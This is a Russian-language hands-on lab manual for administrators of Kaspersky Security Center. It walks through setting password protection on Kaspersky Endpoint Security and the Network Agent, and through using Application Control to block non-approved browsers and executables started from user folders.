# Лабораторная работа 13. Как настроить защиту паролем

Сценарий. Чтобы пользователи не отключали защиту, установите пароль на Kaspersky Endpoint Security и на Агент администрирования.

Содержание. В этой лабораторной работе:

- 1. Найдите компьютер с выключенной защитой
- 2. Установите пароль на Kaspersky Endpoint Security
- 3. Проверьте, что Kaspersky Endpoint Security защищен паролем
- 4. Установите пароль на удаление Агента администрирования

#### Задание А: Найдите компьютер с выключенной защитой

На компьютере Tom-Laptop выйдите из Kaspersky Endpoint Security.

Найдите сообщение, что на компьютерах выключена защита, в Консоли администрирования на странице **Dashboard**. Перейдите в выборку компьютеров, на которых выключена защита. Откройте свойства компьютера, найдите программу Kaspersky Endpoint Security и запустите ее.



3. Войдите в систему под учетной записью **abc\Administrator**. Пароль — **Ka5per5Ky** 

. Откройте веб- консоль	= m 4	MONITORING & REPORTIN	NG / DASHBOA	ARD	
Kaspersky Security Center		Protection status		3.0	ŵ
. В боковом меню		✓ <u>OK</u> ✓ <u>Warning</u>		2.0 1.5 1.0 0.5 0.0	
выберите Monitoring & reporting	▲ MONITORING & REPORTING ↓			03/05/2021 03/15/202	03/25/2021 1 04/04/2021
Dashboard	DASHBOARD	Last updated: 04/04/2021 8:56:16 am			

- 6. Обратите внимание, что на одном из устройств статус защиты Critical
- 7. Пройдите по ссылке Critical, для просмотра списка устройств

8.	Убедитесь,	Selection results							
	запущена на	Device	s found: 1						
	устройстве	×D	Delete + New t	ask (ĝ)	Move to group 🛛 🤁 Refresh				ी≣ Filter
	Tom-Laptop		Name	Visible	Last connected to the Administration Server	Network Agent is installed	Network Agent is running	Status	Status description
			TOM-LAPTOP	~	03/21/2019 2:14:50 pm	~	~	⚠	Security application is insta

9. Откройте свойства устройства. Пройдите по ссылке *Tom-Laptop* 

# kaspersky

4

5

- 10. Перейдите на вкладку **Applications**
- 11. Выберите Kaspersky Endpoint Security и нажмите Start
- 12. Закройте свойства компьютера
- 13. В боковом меню выберите Monitoring & reporting | Dashboard
- 14. Обратите внимание, что статус защиты изменился с Critical на Warning

6	TOM-LAPT	ОР							
	GENERAL	APPLICATIONS	ACTIVE POLICY PROFILES	TASKS	EVENTS	INCIDENTS	TAGS	ADVANCED	
	▷ Start	🗆 Stop 🏾 📿	Refresh						
		Name							Version
		Kaspersky Security	Center 11 Network Agent						11.0.0.1131
	~	Kaspersky Endpoint	t Security for Windows						11.1.0.15919

≡ m ⊄	MONITORING & REPO	ORTING / DASHBO	ARD	
KASPERSKY SECURITY CENTER	Protection status Critical OK Warning	0 2 1 <b>Ok</b>	30 25 20 1.5 1.0 0.5	۰
🖽 KSC 🛛 🔑 >			0.0 03/05/2021	03/25/2021
▲ MONITORING & REPORTING ✓			03/15	2021 04/04/2021
DASHBOARD			Critical	OK Warning

### Задание В: Установите пароль на Kaspersky Endpoint Security

Найдите в политике Kaspersky Endpoint Security для Windows для рабочих станций настройки пароля (среди настроек интерфейса). Включите защиту паролем и распространите ее на все операции с Kaspersky Endpoint Security.

На компьютере Tom-Laptop попробуйте выйти из Kaspersky Endpoint Security. Убедитесь, что без пароля выйти не получается. Попробуйте удалить Kaspersky Endpoint Security через Панель управления Windows. Убедитесь, что для этого тоже нужно знать пароль.

Задание выполняется на	компьютере <b>КSC</b> .					
		↓ ↓ KSC				
15. Откройте веб- консоль Kaspersky Security Center		DEVICES / POLICIES & PROFILES Current path: KSC / Managed devices / Workstations / Laptops				
16. В боковом меню выберите		Stat >>     Policy name     Application       Kaspersky Endpoint Security for Windows (11.6.0)     Application				
Devices   Polices & Profiles	H KSC → A MONITORING & REPORTING →	Image: Security 11 for Windows Server       Kaspersky Endpoint Security for Windows (11.6.0)       Kaspersky Endpoint Security for				
	POLICIES & PROFILES	O         Default protection for Kaspersky Security 11 for Windows >>         Kaspersky Security 11 for Windo           Kaspersky Security Center 13 Network Agent         Kaspersky Security Center 13 Network Agent         Kaspersky Security Center 13 Network Agent				

- 17. Откройте политику Kaspersky Endpoint Security for Windows
- 18. Перейдите на вкладку Application settings
- 19. В разделе General settings нажмите Interface
- 20. Нажмите на выключатель Password protection DISABLED
- 21. Введите пароль **Ka5per5Ky**
- 22. Нажмите **ОК**
- 23. Нажмите Add, чтобы добавить пользователя
- 24. Пройдите по ссылке **Select** user



Kaspersky Endpoint Security for Windows (11.6.0)

Passw Passw Endpo applica	Yord protection ENABLED ord protection allows you to set restrictions on the management of some or all features and settings of Kaspersky int Security for Windows. This reduces the risk of unauthorized or unintended changes in the functioning of the ation. Recommended default value for the user name is KLAdmin.
+ Add	× Delete
	Name
	Everyone
_	1/1 Admin



- 25. В строке поиска введите **alex**
- 26. Выберите учетную запись **Alex**
- 27. Нажмите Select
- Password protection
   Select user or group

   Add permissions for a user or a group
   alex

   Select user

   Alex-Desktop\Administrator
   Alex-Desktop\Guest
   Alex-Des
- 28. Отметьте операции:
  - Application settings
  - Remove / modify / restore the application
  - Disable Kaspersky Security Center policy
  - Exit the application
- 29. Нажмите **ОК**
- 30. Убедитесь, что пользователь **Alex** был добавлен в список
- 31. Сохраните изменения: нажмите ОК

- 32. Сохраните политику: нажмите **Save** и **Yes**
- 33. Подождите, пока политика применится



### Задание С: Проверьте, что Kaspersky Endpoint Security защищен паролем

Убедитесь, что необходимо ввести данные учетной записи, чтобы выполнить какие-либо действия с программой.

Задание выполняется на компьютере <b>Tom-Laptop</b> .				
Tom-L	aptop			
<ul> <li>34. Войдите в систему под учетной записью abc\Tom. Пароль — Ка5рег5Ку</li> <li>35. Попробуйте выйти из KES через контекстное меню его иконки в панели задач</li> </ul>		Kaspersky Er Pause protect Settings Support About Exit	idpoint Security for Windo tion k 오 문 네와 9:52 AN 4/27/202	ws
<ol> <li>В окне Password check введите данные учетной записи abc\Alex, пароль Ka5per5Ky</li> <li>Уберитор, ито прогремие источние</li> </ol>		Password check	( requires entering	∂ ×
завершилась		<ul> <li>the user name and performance</li> <li>Default value of the User name:</li> <li>Password:</li> <li>temporary password</li> </ul>	e user name is KLAdmin. abc\alex ••••••••	Cancel
38. Откройте окно Apps & features	🔅 Home	Арр	s & features	14-Nov-18
<ol> <li>Выберите Kaspersky Endpoint Security for Windows</li> </ol>	Find a setting	م (	App Installer Microsoft Corporation	16.0 KB 11-Feb-21
40. Убедитесь, что кнопка <b>Uninstall</b> заблокирована	IE     Apps & features       IE     Default apps       IE     Offline maps		Auturation Viicrosoft Corporation Camera Viicrosoft Corporation Viicrosoft Corporation	14-Oct-19 16.0 KB 06-Apr-19 16.0 KB 23-Mar-21
	<ul> <li>□ Apps for website</li> <li>□ Video playback</li> </ul>	25	Set Help Microsoft Corporation Soogle Chrome	<b>16.0 KB</b> 23-Mar-21
		<b>o</b>	Google LLC Groove Music Vicrosoft Corporation	02-Apr-21 16.0 KB 11-Feb-21
		k	Caspersky Endpoint Security for Windows AO Kaspersky Lab 11.6.0.394	341 MB 30-Mar-21
			Modify	Uninstall

#### Задание D: Установите пароль на удаление Агента администрирования

Откройте политику Агента администрирования и найдите в ней настройки пароля. Включите защиту паролем, введите пароль и сделайте эти настройки обязательными, т.е. запретите их редактировать.

На компьютере **Tom-Laptop** попробуйте удалить Агент администрирования. Не вводите пароль и убедитесь, что просто так удалить Агент нельзя.

Начните выполнять задание	на компьютере <b>КSC</b> .				
		KSC			
41. Откройте веб- консоль Kaspersky Security Center		DEVICES / POLICIE: Current path: KSC	S & PROFILES		
42. В боковом меню выберите <b>Devices  </b> Polices & Profiles	KASPERSKY SECURITY CENTER	+ Add C Refresh list ( Stat >> Policy nar	⊜ Show in group 🕞 Copy 🔶 Move 🗙 D me	Delete Contribution	
43. Откройте политику Kaspersky Security Center Network Agent	Image: KSC     Image: KSC       Image: MONITORING & REPORTING     Image: KSC	Kaspersky Endpoint Secur         Kaspersky Security 11 for         O       Default prot         Kaspersky Security Center         Kaspersky Security Center         Kaspersky Security Center	ity for Windows (11.6.0)  ndpoint Security for Windows (11.6.0)  Windows Server tection for Kaspersky Security 11 for Windows >>  13 Network Agent ecurity Center 13 Network Agent	Kaspersky Endpoint Security for Kaspersky Security 11 for Windo Kaspersky Security Center 13 Ne	
44. Перейдите на вкладку <b>Application</b> settings	Kaspersky Security Center 13 Network Agent     GENERAL EVENT CONFIGURATION APPLIC	TATION SETTINGS REVISION HISTORY	(	<b>e</b> m	
45. В разделе <b>Settings</b> включите защиту паролем: <b>Use</b> uninstallation password	Settings Repositories Software updates and vulnerabilities Restart management Windows Desktop Sharing	<ul> <li>Distribute files through distribut</li> <li>Enable NAP</li> </ul>	ion points only	Undefined	
46. Введите пароль <i>Ка5рег5Ку</i>	Manage patches and updates Network Network polling by distribution points	Maximum size of event queue, in MB	2	🛆 Enforce 💽	
47. Сделайте настройку Use uninstallation password обязательной, т.е. закройте замок для	Network settings for distribution points KSN Proxy (distribution points) Updates (distribution points)	Undefined     Undefined			
данной настройки и нажмите <b>Save</b> 48. Подождите, пока политика применится		Use uninstallation password     No password is set     Password     Please do not enter the domain adm     credentials used on multiple worksta     Entering these credentials risks expo	inistrator credentials, the Administrators group credentia tions. sure to data theft through compromise of data stored on	Show Is, or the local administrator n one of the Network Agent clients.	
				Save Cancel	

#### Переключитесь на компьютер Tom-Laptop.



### нажмите Yes

59. Закройте мастер: нажмите Finish

#### Заключение

нельзя

Вы установили защиту паролем на Kaspersky Endpoint Security и Агент администрирования. Теперь пользователи не смогут удалить программы Лаборатории Касперского, выйти из Kaspersky Endpoint Security или остановить защиту.

Остановить службу или процесс Kaspersky Endpoint Security пользователи тоже не могут. От этого защищает самозащита Kaspersky Endpoint Security.

Чтобы скрыть от пользователей, что на компьютере установлен Kaspersky Endpoint Security, не отображайте иконку KES в области уведомлений. Эта настройка есть в разделе Интерфейс в политике Kaspersky Endpoint Security.

# Лабораторная работа 14. Как настроить Контроль программ

Сценарий. Согласно политике безопасности, для доступа в Интернет пользователи компании должны использовать только Internet Explorer. Для этого браузера регулярно и централизованно загружаются все доступные обновления безопасности, тогда как состояние других браузеров не контролируется. Учитывая, что большинство современных угроз использует браузер для проникновения в сеть, было принято решение запретить все прочие браузеры

Ваша задача — обеспечить выполнение требования политики безопасности. С помощью Контроля программ необходимо заблокировать возможность запуска любых браузеров, за исключением Internet Explorer.

Содержание. В этой лабораторной работе:

- 1. Создайте категорию для всех веб-браузеров кроме Internet Explorer
- 2. Запретите пользователям запускать веб-браузеры, кроме Internet Explorer
- 3. Запустите Mozilla Firefox и Internet Explorer

#### Задание А: Создайте категорию для всех веб-браузеров кроме Internet Explorer

Создайте категорию программ, содержащую все браузеры за исключением Internet Explorer 11.0 и выше. Чтобы описать все браузеры, используйте категории Лаборатории Касперского (КL-категория). Чтобы исключить Internet Explorer, используйте метаданные из файла *iexplore.exe*.

Компьютеры КSC, DC, Alex-D	esktop и Tom-Laptop μ	должны быть	включены.	
		Tom-Laptop A	lex-Desktop	
Задание выполняется на комп	ьютере <b>КSC</b> .			
	K	ц у (sc		
<ol> <li>Откройте веб-консоль Kaspersky Security Center</li> </ol>		OPERATIONS /	C Refresh	DNS / APPLICATION CATEGORIES
<ol> <li>В боковом меню выберите Operations   Third-party applications   Application categories</li> </ol>	KASPERSKY SECURITY CENTER	Туре	Name	Inherited
<ol> <li>Чтобы добавить новую категорию, нажмите Add</li> </ol>	LICENSING   THIRD-PARTY APPLICATIONS   APPLICATION CATEGORIE			No Data

4.	Укажите имя категории Browsers	New Category W	Vizard		
5.	В методе создания категории выберите category with content	Name Select category o	creation method	3rowsers	
6.	абоеб manually. Нажмите Next	<ul> <li>Category with</li> <li>Category that specified fold</li> <li>Category that automaticall</li> <li>Category will</li> </ul>	th content added manu at includes executable f der are automatically pr at includes executable f ly and their metrics are at include only uni-	ally. Data of executable files is manually added to the category iles from a specific folder. Executable files of applications copi rocessed and their metrics are added to the category. files from selected devices. These executable files are processe added to the category. <b>que conditions from the Wizard</b> .	y. ied to the ≘d
7.	Чтобы добавить условие для категории нажмите <b>Add</b>	<ul> <li>New Category Wi</li> <li>Conditions</li> <li>X Delete</li> </ul>	izard + Add / Propertie	25	
		Condi	ition criterion	(	Condition value
				No data	
8.	Укажите From KL category			• Condition criteria	
9.	Нажмите <b>Next</b>			Specify rule type for condition <ul> <li>From KL category</li> <li>Select certificate from repository</li> <li>Specify path to application (masks supported)</li> <li>Removable drive</li> <li>Hash, metadata, or certificate</li> </ul>	
10.	Выберите категорию Browsers   Web Browsers			Ondition criteria	
11.	Нажмите <b>Next</b>			<ul> <li>Graphic Design Software</li> <li>Golden Image</li> <li>Trusted Updaters</li> <li>Browsers</li> <li>Web Browsers</li> <li>Offline Browsers</li> <li>Newsreader and RSS Reader Extensions</li> <li>Extensions</li> </ul>	
12.	Нажмите <b>Next</b>	New Category Wiz	zard		
		Conditions			
		× Delete +	- Add 🖉 Propertie	25	
		Conditi	ion criterion	Condition va	alue
		KL Cate	egory	Browsers\We	eb Browsers

13. Добавьте исключения	New Category Wizard			
Add	Exclusions			
	× Delete + Add ∥ Properties			
	Condition criterion	Condition value		
		No data		
14. В списке усповий	<ol> <li>Condition criteria</li> </ol>			
исключений укажите				
Hash, metadata, or	Specify rule type for condition			
certificate	From KL category			
15. В выпадающем меню	<ul> <li>Select certificate from repository</li> <li>Specify path to application (masks supported)</li> </ul>			
manually	Removable drive			
	<ul> <li>Hash, metadata, or certificate</li> </ul>			
ть. нажмите <b>Next</b>	Specify manually	~		
_				
17. Переключите условие	O Condition criteria			
Metadata				
18. Отметьте чекбокс File	Specify parameters to be used as conditions File Hash			
Name	<ul> <li>Metadata</li> </ul>			
10. В попе вредите	<ul> <li>Certificate</li> </ul>			
IEXPLORE.EXE (Важно:	✓ File Name			
именно заглавными	IEXPLORE.EXE			
буквами)	File version			
20. Нажмите <b>Next</b>	Foual			
21. Нажмите <b>ОК</b>	• Browsers			
	GENERAL ASSOCIATED POLICIES CONDITIONS EXCLUSIONS			
	Exclusions			
	× Delete + Add ∥ Properties			
	Condition criterion	Condition value		
	File Name	File name: "IEXPLORE.EXE";		

### Задание В: Запретите пользователям запускать браузеры, кроме Internet Explorer

Откройте настройки контроля программ в политике. Включите контроль программ и выберите режим *Блокировать* (а не *Уведомлять*).

Добавьте правило, которое запрещает запускать программы из категории *Браузеры*, которую вы создали в предыдущем задании.

#### Задание выполняется на компьютере KSC. KSC 22. Откройте вебm 🕰 ≡ **DEVICES / POLICIES & PROFILES** консоль Kaspersky Security Center tit Current path: KSC 23. В боковом меню + Add 🛛 😂 Refresh list 🛞 Show in group 👘 Copy 🔅 Move $\times$ Delete KASPERSKY G Distribution выберите Devices | SECURITY CENTER Stat... >> Policy name Application **Polices & Profiles** Kaspersky Endpoint Security for Windows (11.6.0) E KSC 24. Откройте политику ىتر Kaspersky Endpoint Security for Windows (11.6.0) Kaspersky Endpoint Security for Kaspersky ▲ MONITORING & REPORTING **Endpoint Security** Kaspersky Security 11 for Windows Server for Windows DEVICES Default protection for Kaspersky Security 11 for Windows ... >> Kaspersky Security 11 for Windo POLICIES & PROFILES Kaspersky Security Center 13 Network Agent Saspersky Endpoint Security for Windows (11.6.0) 25. Перейдите на вкладку Application U Low protection level. Important protection components are disabled. Learn more settings GENERAL EVENT CONFIGURATION APPLICATION SETTINGS REVISION HISTORY POLICY PROFILES 26. Перейдите в раздел **Security Controls** Advanced Threat Protection Application Control 27. Выберите This component monitors users' attempts to start applications and controls the startup of applications by using rule **Essential Threat Protection** компонент **Application Control** Security Controls Device Control Detection and Response Application Control 28. Включите компонент **Application Control** Application Control A Enforce Application Control ENABLED 29. Пройдите по ссылке **Rules Lists Settings** Application Control Settings 🔒 Enforce 💽 Kaspersky Endpoint Security for Windows blocks startup of applications that are blocked by Application Control settings. Kaspersky Endpoint Security for Windows does not block startup of applications that could be blocked by Application Control settings, but logs information about it in the report (Test mode). View report Application Control Mode In Denylist mode, Application Control allows all users to start any applications except for those listed in the Application Control blocking rules. In Allowlist mode, Application Control blocks all users from starting any applications except for those listed in the Application Control allowing rules. Denylist Allowlist <u>Rules Lists Settings</u> Denylist and Allowlist Rules Settings

30. Добавьте категорию в черный список.	O Denylists and allowlists			
	Denylists and allowlists			
	Denylist (active) Allowl	ist		
	Application Control allows all us	Application Control allows all users to start any application except for the applications specified in Application Control block rules.		
	+ Add × Delete ∰	Import 🚋 Export		
	Name S	itatus Test mode	Allowed	Blocked
			No data	
31. Пройдите по ссылке <i>Please choose a</i> <i>category</i>	• Application Control rule			
	Action	it could be blocked by Application Co	ontrol settings (Test mode)	
	<ul> <li>Block startup of applications the</li> </ul>	hat are blocked by Application Contro	ol settings	
	Rule is disabled and will not an	fect application startup		
	The rule controls the startup of ap	plications from a selected category.		
	Category: Browsers			
	Please choose a category			
	<ul> <li>Trusted Updaters Kaspersky Endpoint Security for Wir startup in the future.</li> </ul>	ndows allows applications in this group to ci	reate executable files that will be allowed to	
	Subjects and their rights			
	Deny for other users			
	+ Add $ imes$ Delete			
	User or group		Launch privileges	
	Everyone		Blocked	
32. Отметьте категорию <i>Browsers</i>	Application categories			
33. Нажмите <b>ОК</b>	Application categories			
	Search		(	٦
	+ Add ∥ Edit × Dele	ete		
	Name			
	<ul> <li>Browsers</li> </ul>			

- 34. Убедитесь, что категория **Browsers** заблокирована для всех пользователей
- 35. Нажмите ОК

	Please choose a category Trusted Updaters Kaspersky Endpoint Security for Windows allows applicat startup in the future. Subjects and their rights Deny for other users	ions in this group to create executable files that will be allowed to
	+ Add × Delete	Launch privileges
	Everyone	Blocked
36. Включите использование данной категории, если оно не было включено автоматически	<ul> <li>Denylists and allowlists</li> <li>Denylists and allowlists</li> <li>Denylist (active) Allowlist</li> </ul>	
37. Нажмите <b>ОК</b>	Application Control allows all users to start any applic	ation except for the applications specified in Application Control block rules.
38. Сохраните политику: нажмите Save и Yes	+ Add × Delete ﷺ Import ﷺ Expor	t est mode Allowed Blocked Truste
39. Подождите, пока политика применится	Browsers C Enabled	Everyone

 $\bigcirc$  Log startup of applications that could be blocked by Application Control settings (Test mode)

Block startup of applications that are blocked by Application Control settings

The rule controls the startup of applications from a selected category.

Rule is disabled and will not affect application startup

### Задание C: Запустите Mozilla Firefox и Internet Explorer

Application Control rule

Application category

Category: Browsers

Action

Убедитесь, что пользователи не могут запускать Mozilla Firefox, но могут запускать Internet Explorer.

Задание выполняется на компьютере Alex-Desktop.		
Alex-Desktop		

40. Войдите в систему под учетной записью abc\Alex с паролем Ka5per5Ky



#### Заключение

При необходимости разрешить или заблокировать целый класс программ, удобно пользоваться категориями Лаборатории Касперского. Они пополняются вместе с обновлениями, и всегда можно быть уверенным в том, что следующая версия известного браузера автоматически будет добавлена в список.

При создании правил следует помнить, что запрещающие правила всегда имеют преимущество перед разрешающими. Поэтому, если необходимо запретить категорию программ за исключением некоторых, следует создавать одну категорию с исключением, что и было сделано в этой лабораторной работе. Любой другой вариант не приведет к нужному результату.

# Лабораторная работа 15. Как заблокировать запуск неизвестных файлов в сети

Сценарий. Контроль программ, так же, как и компонент Предотвращение вторжений, позволяет уменьшить риск запуска новых вредоносных программ. Чтобы уменьшить риск, с помощью контроля программ запретите запуск всех файлов, кроме доверенных из определенных директорий операционной системы.

#### Содержание. В этой лабораторной работе:

- Создайте категорию программ, запрещающую запуск неизвестных файлов
   Внесите изменения в политику, запретив всем пользователям запуск неизвестных файлов
- 3. Убедитесь в корректности настроек

#### Задание А: Создайте категорию программ, запрещающую запуск неизвестных файлов

В этом задании необходимо создать категорию программ Защита от шифрования.

Компьютеры KSC, DC, Alex-Desktop и Tom-Laptop должны быть включены.						
		DC KS	C Tom-Laptop	Alex-Desktop		
3a	дание выполняется на	компьютере <b>КSC</b> .				
	L L L L L L L L L L L L L L L L L L L					
1.	Откройте веб- консоль Kaspersky Security Center		OPERATIONS /		DNS / APPLICATION CATE	GORIES
2.	Перейдите на страницу <b>Operations  </b>	KASPERSKY SECURITY CENTER	Type	Name Browsers	Inherited	
	Third-party applications   Application Categories	COPERATIONS			≮ Pre	vious 1
3.	– Нажмите <b>Add</b> чтобы создать	THIRD-PARTY APPLICATIONS				

4. Введите имя категории Protection Cryptomalware

новую категорию

5. В методе создания категории выберите Category with content added manually

0	New Category Wizard	
	Name	Protection Cryptomalware
	Select category creation method	
	Category with content added manually. Data of executable files is manually added to the category.	
	<ul> <li>Category that includes executable files from a specific folder. Executable files of applications copied to the specified folder are automatically processed and their metrics are added to the category.</li> </ul>	
	<ul> <li>Category that includes executable files from selected devices. These executable files are processed automatically and their metrics are added to the category.</li> </ul>	
Category will include only unique conditions from the Wizard		

6. Нажмите Next

Hash, metadata, or certificate

 Чтобы добавить условие, нажмите Add



8. Скопируйте на рабочий стол файл Conditions\_Protection\_Cryptomalware.txt. Место расположения файла уточните у инструктора

9.	Откройте файл	Conditions_Protection_Cryptomailware - Notepad	I – 🗆	
	Conditions_ Protection_ Cryptomalware.txt в программе Блокнот	File Edit Format View Help		
		<pre>%SYSTEMDRIVE%\Users\*\Appdata\Roamin %SYSTEMDRIVE%\Users\*\Appdata\Local* %SYSTEMDRIVE%\Users\*\Desktop* %SYSTEMDRIVE%\\$Recycle.Bin* %SYSTEMDRIVE%\\$Recycle.Bin* %SYSTEMDRIVE%\\$Recycle.Bin* %SYSTEMDRIVE%\Users\*\Documents* %SYSTEMDRIVE%\Users\*\Downloads* %SYSTEMDRIVE%\Users\*\AppData\Roamin %SYSTEMDRIVE%\Documents and Settings %SYSTEMDRIVE%\Documents and Settings</pre>	ng\Microsoft\Windows\Start Menu\Programs\Startup* \*\Application Data* \$\*\Local Settings\Application Data\* \$\*\Local Settings\Temporary Internet Files* \$\*\Desktop* \$\*\My Documents* \$\*\Start Menu\Programs\Startup*	ĸ
10. Укажите <b>Specify</b> path to			Ondition criteria	
	application (masks		Specify rule type for condition	
	supported)		From KL category	
			<ul> <li>Select certificate from repository</li> </ul>	
11. Нажмите Next Specify path to application (masks su		<ul> <li>Specify path to application (masks supported)</li> </ul>		
			<ul> <li>Removable drive</li> </ul>	

- 12. Выделите и скопируйте верхнюю строчку из файла Conditions\_Protection\_Cryptomalware.txt
- 13. Вставьте скопированную строчку и нажмите Next
   Condition criteria
   Г

   14. Нажмите Add, чтобы добавить
   O
   New Category Wizard

Conditions	
× Delete + Add ℓ Properties	
Condition criterion	Condition value
Path to Folder	%SYSTEMDRIVE%\Users\*\Appdata\Roaming*;

остальные значения
- 15. Самостоятельно вставьте все остальные пути из файла Conditions\_ Protection\_ Cryptomalware.txt
- 16. Нажмите **Next**

৩	New Cat	tegory Wizard	
	Condit	ions	
	imes De	lete 🕂 Add 🖉 Propertie	es
		Condition criterion	Condition value
		Path to Folder	%SYSTEMDRIVE%\Users\*\Appdata\Roaming*;
		Path to Folder	%SYSTEMDRIVE%\Users\*\Appdata\Local*;
		Path to Folder	%SYSTEMROOT%\Temp*;
		Path to Folder	%SYSTEMDRIVE%\Users\*\Desktop*;
		Path to Folder	%SYSTEMDRIVE%\\$Recycle.Bin*;
		Path to Folder	%SYSTEMROOT%;
		Path to Folder	%SYSTEMROOT%\system32*;
		Path to Folder	%SYSTEMDRIVE%\Users\*\Documents*;
		Path to Folder	%SYSTEMDRIVE%\Users\*\Downloads*;
		Path to Folder	%SYSTEMDRIVE%\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup*;
		Path to Folder	%SYSTEMDRIVE%\Documents and Settings\*\Application Data*;
		Path to Folder	$\label{eq:system} \ensuremath{SYSTEMDRIVE\belowdef} SYSTEMDRIVE\b$
		Path to Folder	$\label{eq:system} \ensuremath{SYSTEMDRIVE\%}\xspace{\constraints} \ensuremath{SYSTEMDRIVE\%\xspace{\constraints} \ensuremath{SYSTEMDRIVE\%}\xspace{\constraints} \ensuremath{SYSTEMDRIVE\%\xspace{\constraints} \ensuremath{SYSTEMDRIVE\%\xspace{\constraints} \ensuremath{SYSTEMDRIVE\%\xspace{\constraints} \ensuremath{SYSTEMDRIVE\%\xspace{\constraints} \ensuremath{SYSTEMDRIVE\%\xspace{\constraints} \ensuremath{SYSTEMDRIVE\%\xspace{\constraints} \ensuremath{SYSTEMDRIVE\%\xspace{\constraints} SYSTEMDRIVE\%\xspace$
		Path to Folder	%SYSTEMDRIVE%\Documents and Settings\*\Desktop*;
		Path to Folder	%SYSTEMDRIVE%\Documents and Settings\*\My Documents*;
		Path to Folder	$\label{eq:system} \ensuremath{SYSTEMDRIVE\%}\xspace{\constraints} \ensuremath{Start}\xspace{\constraints} \ensuremath{Start}\xspace{\const}\xspace{\constraints} \ensuremath{Start}\xspa$

17. Добавьте исключения из категории. Нажмите **Add** 

	Back	Next						
)	New Category	Wizard						
	Exclusions							
	imes Delete	+ Add	Properties					
	Con	dition crite	rion			Con	dition value	
					No data			

- 18. Укажите From KL category
- 19. Нажмите Next

$\odot$	Condition criteria
	Specify rule type for condition
	From KL category
	<ul> <li>Select certificate from repository</li> </ul>
	<ul> <li>Specify path to application (masks supported)</li> </ul>

- Removable drive
- 🔘 Hash, metadata, or certificate

21. Нажмите Next

### 22. Нажмите **ОК**

0	Condi	tion criteria
	> 🔽	Graphic Design Software
	> 🗹	Golden Image
	~	Trusted Updaters
	> 🔽	Browsers
	> 🗹	Internet Software
	> 🗹	Networking Software
	> 🗹	Business Software
	> 🗹	Security Software
	> 🗹	Networking Infrastructure Software
	~	Development Tools
	> 🔽	Multimedia
	> 🔽	Operating Systems and Utilities
	> 🔽	Entertainment
	~	Educational Software
	> 🗹	Peripherals
	> 🗹	Other Software
	Select	ed entries: 119
Ne	w Catego	y Wizard

$\times$ De	lete 🕂 Add 🖉 Properties	
	Condition criterion	Condition value
	KL Category	Graphic Design Software
	KL Category	Graphic Design Software\3D Modeling Software
	KL Category	Graphic Design Software\Animation Software
	KL Category	Graphic Design Software\Flash Software
	KL Category	Graphic Design Software\CAD Software
	KL Category	Graphic Design Software\Desktop Publishing Software
	KL Category	Graphic Design Software\Background Image Editors
	KL Category	Graphic Design Software\Image Viewers
	KL Category	Graphic Design Software\Media Managers
	KL Category	Graphic Design Software\Image Editors
	KL Category	Golden Image
	KL Category	Golden Image\Multimedia
	KL Category	Golden Image\Multimedia\Codecs
	KL Category	Golden Image\Multimedia\Players
	KL Category	Golden Image\Networking Software
	KL Category	Golden Image\Networking Software\Remote Access Applications
Back	ОК	

23. Подтвердите создание категории. Нажмите **ОК** 

New Cate	egory Wizard	
Exclusi	ons	
$\times$ Del	ete 🕂 Add 🖉 Properties	
	Condition criterion	Condition value
	KL Category	Graphic Design Software
	KL Category	Graphic Design Software\3D Modeling Software
	KL Category	Graphic Design Software\Animation Software
	KL Category	Graphic Design Software\Flash Software
	KL Category	Graphic Design Software\CAD Software
	KL Category	Warning X
	KL Category	Do you want to create category "Protection Cryptomalware"?
	KL Category	OK Cancel
	KL Category	

# Задание В: Внесите изменения в политику, запретив всем пользователям запуск неизвестных файлов

Откройте настройки контроля программ в политике. Включите контроль программ и выберите режим *Блокировать* (а не *Уведомлять*).

Добавьте правило, которое запрещает запускать программы из категории Protection\_Cryptomalware, которую вы создали в предыдущем задании

Задание выполняется на компьютере КSC.	
	ksc

- 24. Откройте веб-консоль Kaspersky Security Center
- 25. В боковом меню выберите Devices | Polices & profiles
- 26. Откройте политику Kaspersky Endpoint Security for Windows
- 27. Перейдите в раздел Application Settings
- 28. Перейдите в раздел Security Controls
- 29. Выберите компонент Application Control

≡	m 4	DEVICES / POLICIES & PROFILES	
KASPER	ISKY	Current path: KSC + Add @ Refresh list @ Show in group D Copy . Move	× Delete 🛭 🖨 Distribution
SECURITY	CENTER	Stat >> Policy name	Application
E KSC	، <i>بر</i>	Kaspersky Endpoint Security for Windows (11.6.0)	
	DEDODTING	O         Kaspersky Endpoint Security for Windows (11.6.0)	Kaspersky Endpoint Security for
	REPORTING	Kaspersky Security 11 for Windows Server	
DEVICES	~	O     Default protection for Kaspersky Security 11 for Windows.	. >> Kaspersky Security 11 for Windo
POLICIES & PRO	FILES	Kaspersky Security Center 13 Network Agent	
Kaspersky Endpo	pint Security for Window	ws (11.6.0)	

Low protection level. Important protection components are disabled. Learn more						
GENERAL EVENT CONFIGURATION	APPLICATION SETTINGS REVISION HISTORY POLICY PROFILES					
Advanced Threat Protection Essential Threat Protection	Application Control This component monitors users' attempts to start applications and controls the startup of applications by using rules.					
Security Controls	Device Control					
Detection and Response	This component allows you to control the connection of removable drives.					

Application Control

### 30. Пройдите по ссылке **Rules Lists Settings**

31. Нажмите Add

category

33. Из списка

Protection Cryptomalware

34. Нажмите ОК



35. Нажмите <b>ОК</b>	Application	n Control rule				
	Action <ul> <li>Log sta</li> <li>Block s</li> <li>Rule is</li> </ul> Applicatio <ul> <li>The rule co</li> <li>Category:</li> <li>Please cho</li> <li>Trustec Kaspersi startup i</li> </ul>	rtup of application tartup of application disabled and will <b>n category</b> entrols the startup Protection Cryp ose a category I Updaters sy Endpoint Security the future.	ins that could be blocked b tions that are blocked by Aj not affect application start of applications from a sel otomalware	y Application Control set oplication Control setting: up ected category. 1s in this group to create exect	tings (Test mode) s utable files that will be allowed	d to
	Subjects a	and their rights				
	+ Add	imes Delete				
		User or group			Launch privileges	
		Everyone			Blocked	
	Denylists and allowlists Denylist (active) Allowlist Application Control allows all users + Add × Delete = Im Name S Browsers Protection Cryptomalwa	to start any appli port ‡≣ Expc itatus	cation except for the applica rt Test mode Enabled Enabled	ations specified in Applicat Allowed 	tion Control block rules; Blocked Everyone Everyone	Trusted Upda
37. Нажмите <b>ОК</b>	Kaspersky Endpoint Security for W	indows (11.6.0)				
<ol> <li>Сохраните политику: нажмите Save и Yes</li> </ol>	Low protection level. Important     GENERAL EVENT CONFIGURAT	protection comp	onents are disabled. <u>Learn</u> ION SETTINGS REVISIC	more N HISTORY POLICY PF	ROFILES	
